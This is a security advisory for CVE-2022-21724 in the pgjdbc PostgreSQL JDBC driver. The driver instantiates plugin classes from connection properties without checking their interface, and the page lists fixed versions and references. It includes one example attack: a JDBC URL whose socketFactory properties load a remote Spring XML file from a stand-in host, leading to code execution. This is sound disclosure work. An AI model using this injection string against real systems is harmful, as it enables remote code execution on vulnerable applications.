GHSA-v7wg-cpwc-24m4
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
Quick fix
GHSA-v7wg-cpwc-24m4 — org.postgresql:postgresql: upgrade to the fixed version with the command below.
# pom.xml: bump <version>42.2.25</version> for org.postgresql:postgresqlDetails
### Impact
pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
``` DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml"); ```
The first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)
Are you affected?
Enter the version of the package you're using.
Affected packages
9.4.1208Fixed in: 42.2.25# pom.xml: bump <version>42.2.25</version> for org.postgresql:postgresql42.3.0Fixed in: 42.3.2# pom.xml: bump <version>42.3.2</version> for org.postgresql:postgresqlReferences
- https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2022-21724[ADVISORY]
- https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813[WEB]
- https://github.com/pgjdbc/pgjdbc[PACKAGE]
- https://lists.debian.org/debian-lts-announce/2022/05/msg00027.html[WEB]
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS[WEB]
- https://security.netapp.com/advisory/ntap-20220311-0005[WEB]
- https://www.debian.org/security/2022/dsa-5196[WEB]